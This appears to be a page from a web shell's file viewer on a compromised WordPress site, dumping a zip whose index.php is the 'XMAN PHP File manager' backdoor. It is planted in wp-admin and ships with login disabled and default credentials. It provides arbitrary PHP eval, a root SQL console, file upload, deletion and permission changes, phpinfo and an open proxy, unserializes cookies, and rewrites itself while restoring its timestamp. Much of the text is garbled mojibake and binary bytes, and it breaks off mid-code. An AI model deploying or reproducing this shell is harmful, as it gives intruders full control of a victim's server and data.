Your IP : 216.73.216.86


Current Path : /home/emeraadmin/www/wp-admin/792784/
Upload File :
Current File : /home/emeraadmin/www/wp-admin/792784/792784.zip

PK=3�\VG��=�=	index.phpnu�[���@ breeze #7 ! dragon �)"�_�&�_')���@ breeze #7 @ breeze #7 @ breeze #7 _�'�)�(�(-�)���()_��)@ breeze #7 @ breeze #7 �&�_')���)(_�'�)�(��)'�)�"(-��"()-��"_�)��_�)�_�'<?php
/* XMAN PHP File manager ver 1.4 */

// Configuration �� do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"����ҧѧӧڧ��","Are you sure you want to delete this directory (recursively)?":"���� ��ӧ֧�֧ߧ�, ���� ����ڧ�� ��էѧݧڧ�� ���� ��ѧ�ܧ� (��֧ܧ���ڧӧߧ�)?","Are you sure you want to delete this file?":"���� ��ӧ֧�֧ߧ�, ���� ����ڧ�� ��էѧݧڧ�� ����� ��ѧۧ�?","Archiving":"�����ڧӧڧ��ӧѧ��","Authorization":"���ӧ���ڧ٧ѧ�ڧ�","Back":"���ѧ٧ѧ�","Cancel":"����ާ֧ߧ�","Chinese":"���ڧ�ѧۧ�ܧڧ�","Compress":"���اѧ��","Console":"����ߧ��ݧ�","Cookie":"����ܧ�","Created":"����٧էѧ�","Date":"���ѧ��","Days":"���ߧ֧�","Decompress":"���ѧ��ѧܧ�ӧѧ��","Delete":"���էѧݧڧ��","Deleted":"���էѧݧ֧ߧ�","Download":"���ܧѧ�ѧ��","done":"�٧ѧܧ�ߧ�֧ߧ�","Edit":"���֧էѧܧ�ڧ��ӧѧ��","Enter":"������","English":"���ߧԧݧڧۧ�ܧڧ�","Error occurred":"�����ڧ٧��ݧ� ���ڧҧܧ�","File manager":"���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧�","File selected":"����ҧ�ѧ� ��ѧۧ�","File updated":"���ѧۧ� �����ѧߧ֧�","Filename":"���ާ� ��ѧۧݧ�","Files uploaded":"���ѧۧ� �٧ѧԧ��ا֧�","French":"����ѧߧ��٧�ܧڧ�","Generation time":"���֧ߧ֧�ѧ�ڧ� ����ѧߧڧ��","German":"���֧ާ֧�ܧڧ�","Home":"����ާ��","Quit":"�������","Language":"���٧��","Login":"����ԧڧ�","Manage":"�����ѧӧݧ֧ߧڧ�","Make directory":"����٧էѧ�� ��ѧ�ܧ�","Name":"���ѧڧާ֧ߧ�ӧѧߧڧ�","New":"����ӧ��","New file":"����ӧ�� ��ѧۧ�","no files":"�ߧ֧� ��ѧۧݧ��","Password":"���ѧ��ݧ�","pictures":"�ڧ٧�ҧ�ѧا֧ߧڧ�","Recursively":"���֧ܧ���ڧӧߧ�","Rename":"���֧�֧ڧާ֧ߧ�ӧѧ��","Reset":"���ҧ���ڧ��","Reset settings":"���ҧ���ڧ�� �ߧѧ����ۧܧ�","Restore file time after editing":"�������ѧߧѧӧݧڧӧѧ�� �ӧ�֧ާ� ��ѧۧݧ� ����ݧ� ��֧էѧܧ�ڧ��ӧѧߧڧ�","Result":"���֧٧�ݧ��ѧ�","Rights":"����ѧӧ�","Russian":"������ܧڧ�","Save":"������ѧߧڧ��","Select":"����ҧ֧�ڧ��","Select the file":"����ҧ֧�ڧ�� ��ѧۧ�","Settings":"���ѧ����ۧܧ�","Show":"����ܧѧ٧ѧ��","Show size of the folder":"����ܧѧ٧�ӧѧ�� ��ѧ٧ާ֧� ��ѧ�ܧ�","Size":"���ѧ٧ާ֧�","Spanish":"�����ѧߧ�ܧڧ�","Submit":"������ѧӧڧ��","Task":"���ѧէѧ��","templates":"��ѧҧݧ�ߧ�","Ukrainian":"���ܧ�ѧڧߧ�ܧڧ�","Upload":"���ѧԧ��٧ڧ��","Value":"���ߧѧ�֧ߧڧ�","Hello":"����ڧӧ֧�","Found in files":"���ѧۧէ֧ߧ� �� ��ѧۧݧѧ�","Search":"����ڧ��","Recursive search":"���֧ܧ���ڧӧߧ�� ���ڧ��","Mask":"���ѧ�ܧ�"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size �� maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' �� '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//�ܧѧ�-��� ���ا� ���էާ֧ߧ��� �ߧѧէ�
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
